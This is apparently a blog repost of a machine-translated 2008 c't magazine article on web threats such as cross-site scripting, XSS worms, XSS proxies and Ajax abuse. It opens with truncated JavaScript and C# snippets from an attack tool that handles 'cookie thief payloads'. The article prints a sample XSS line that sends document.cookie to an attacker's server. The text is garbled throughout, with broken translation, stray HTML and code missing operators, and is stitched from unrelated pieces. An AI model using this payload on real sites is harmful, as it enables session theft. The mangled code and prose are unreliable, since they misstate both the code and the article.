ActiveXObject('Microsoft.XMLHTTP');} catch(e2) { try{xmlhttp new XMLHttpRequest();} catch(e3) {xmlhttp object';}}}, true); xmlhttp.onreadystatechange = handlexmlhttpstatechange; xmlhttp.send(); return (fullresponse); } function handlexmlhttpstatechange() { if (xmlhttp.readyState fullresponse xmlhttp.status; fullresponse "\r\n"; fullresponse xmlhttp.statusText; fullresponse "\r\n"; fullresponse xmlhttp.getAllResponseHeaders(); fullresponse xmlhttp.responseText; } } } } Appendix B -- Sniper Code Snippets private static void ProcessIncomingRequest(HttpListenerRequest httprequest) { // // Determine whether the incoming request it a GET or a POST and act accordingly // string request = "" ; if (httprequest.HttpMethod.Equals("GET")) { // // Process the incoming request for payloads // if (request.IndexOf("?") >= 0 ) { } // // Process incoming nikto payloads // if (parameters.Contains(form1.txtNiktoPositives.Text)) { string niktoPositive = request.Substring(request.IndexOf("=") + 1); updateNiktoResultsDelegate updateNiktoResultsObject = new updateNiktoResultsDelegate(updateNiktoResults); form1.txtNiktoPositives.Invoke(updateNiktoResultsObject, niktoPositive.ToString()); content = content.Replace("spotter.js", form1.txtNoResponseString.Text); } // //Write the sanitized content to the sniper scope // form1.webSniperScope.DocumentText = content; } // // Process incoming cookie thief payloads" width="1" height="1" alt="" /><heisetext></heisetext></span><script></script><p class="seitenname"> <span onmouseover="_tipon(this)" onmouseout="_tipoff()" style="font-size:78%;"><span class="google-src-text" style="direction: ltr; text-align: left;">c't 11/2008, S. 82: Cybercrime: Bedrohungen</span> c't 11/2008, p. 82: Cyber Crime: Threats</span> </p><span style="font-size:78%;">Acronym</span><h4 style="font-weight: normal;"> <span onmouseover="_tipon(this)" onmouseout="_tipoff()" style="font-size:78%;"><span class="google-src-text" style="direction: ltr; text-align: left;"><a href="">Daniel Bachfeld</a></span> <a href="">Daniel Bach field</a></span> </h4><h2 style="font-weight: normal;"> <span onmouseover="_tipon(this)" onmouseout="_tipoff()" style="font-size:78%;"><span class="google-src-text" style="direction: ltr; text-align: left;">Dunkle Flecken</span> Dark spots Novel surprise attacks Webuser With sophisticated tricks to try the criminals today websites to use - namely, where one least expects attacks Expect the Unexpected, otherwise you will not find it, "knew the Greek philosopher Heraclitus some 500 years before Christ's birth. Especially in relation to the dangers on the Internet it is increasingly important to focus on attacks from all directions at present. Even those who weighs in security, because it only on well-known, supposedly safe surfing pages, is not before the attacks of Internet-Mafia immune. A long time wastrue that if you do not go to dirty or file-swap pages, go to online banking only via bookmarks not execute attachments in e-mails and always have all the security updates for its Web browser installed, has little to fear. In addition, security features in Windows operating systems, such as protection against buffer overflows, and Speicherverwürfelung UAC under Vista (User Account Control UAC) verpuffen many conventional attacks. But the cyber-criminals are not on the skin and lazy thinking is always new tricks to PCs still under their control and data spy. In essence, the objectives remained the same: theft of passwords, credit card numbers and PINs and TANs, and the development of Botnets. To achieve this, make the hoodlums taking advantage of the techniques to the Web to jump to version 2.0 negotiations: Ajax, Flash and cohorts. Moreover, they increasingly applications, which has so far not a typical gateway were in the PC, such as the long-sicherheitsunkritisch eingeschätzten Adobe Reader or Apple QuickTime. One of the biggest security problems in the Web is a few years since the so-called cross-site scripting, when the attacker groomed their victims push Java scripts in the browser to a certain amount of page access data or cookies this function and to use. What exactly the fraudsters using stolen data, said the article under suspicion "on page 92 in c't 11/08. The difficulty for the attacker was yet to be JavaScript in the context of the page to run, which he coveted the password (see box on page 86 in c't 11/08). But he had in general a vulnerability can be found on the server and a bogus link with embedded code to send his victims, even those anklickte <a href="">[1].</a> A typical prepared link contained approximately following code <code><script> document.location ( "" + Document.cookie); </ script></code> to a cookie on the server Attacker to send. XSS worm The interactive Web with its many social networking, forums and blog sites makes it easier for the attacker: Many allow the design their own pages, some with active content. For instance, the harmful content directly into the pages. Moreover, an attacker could no longer handle suspicious-looking links, it is enough, his victim with a link to a page with one of the big, supposedly trusted MyIrgendwas providers to send. In this way began to last several hundred thousand users primarily in South America used social networking site Orkut, a JavaScript worm, the user profile user profile schlängelte. Even applications where you would not have direct contact with suspect websites would be responsible for such attacks with hidden code embedded vulnerable. So Skype had the same access to its clients on the video portals Metacafe and MyVideo block, as attacker in the meta-data of the videos embed scripts. To view the videos using Skype Internet Explorer, the Java scripts to all disaster even in the local context, with the highest rights, said. Since cross-site scripting now reached epidemic proportions, try the major provider of Web 2.0 pages embedding of active content on their pages by user JavaScript filters and other measures to prevent it. However, individual functions are the grid and remain unprotected. Google has too often with cross-site scripting gaps in Gmail and Google Docs to fight. Until recently, it was such as Google Spreadsheets possible in the table fields JavaScript code hineinzuschreiben, when called by other users invited their Google cookie auslas.</span><span style="font-size:78%;"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()" style="font-size:78%;"><span class="google-src-text" style="direction: ltr; text-align: left;">

Because Google diensteübergreifend a single session cookie uses an attacker would have this after a successful theft to notify all other applications to abuse. Box stunt But resourceful attacker can use Javascript eingeschleustem not only stored on a PC out cookies, they can be shown the content of websites completely or partially replace the input of the victim in form fields or even monitor their own forms to the server. This goes so far that an attacker virtually in real time the browser as a proxy victim of his abuse, at the same time on the server mitzusurfen on which the victim is currently logged.

The whole thing works on a script written in Java XSS proxy in a hidden IFrame, the connection to a server maintained by the fraudster and receives commands
In the context of the victim can in this way, such as an online shop own orders. With sophisticated methods can be used in JavaScript also a port scanner to implement, with the hacker from a distance, for example, a company's intranet ausforschen, if an employee in the case lest
With the results obtained the attackers plan their way forward. Worries safety specialists also used by Ajax XMLHttpRequest interface (XHR), with the JavaScript other content or data from a web server in parts nachlädt dynamically without having to the entire page to rebuild, as is the case with pure HTML pages is the case . Since the interface works asynchronously, a Javascript not wait for a response, but may make other tasks. Websites like Google Maps would be unthinkable without this interface. However, so that the traffic between the browser and server to the user uncontrollably. Typical signs of a browser activity such as the growing cargo bar in the status bar at Ajax without function. As a result, may also by attackers in a browser smuggled-in code still less act. In addition, a script with XHR parts of the HTTP header define themselves before the request send-off
Bookmark and Share
posted by u2r2h at Friday, May 23, 2008 0 comments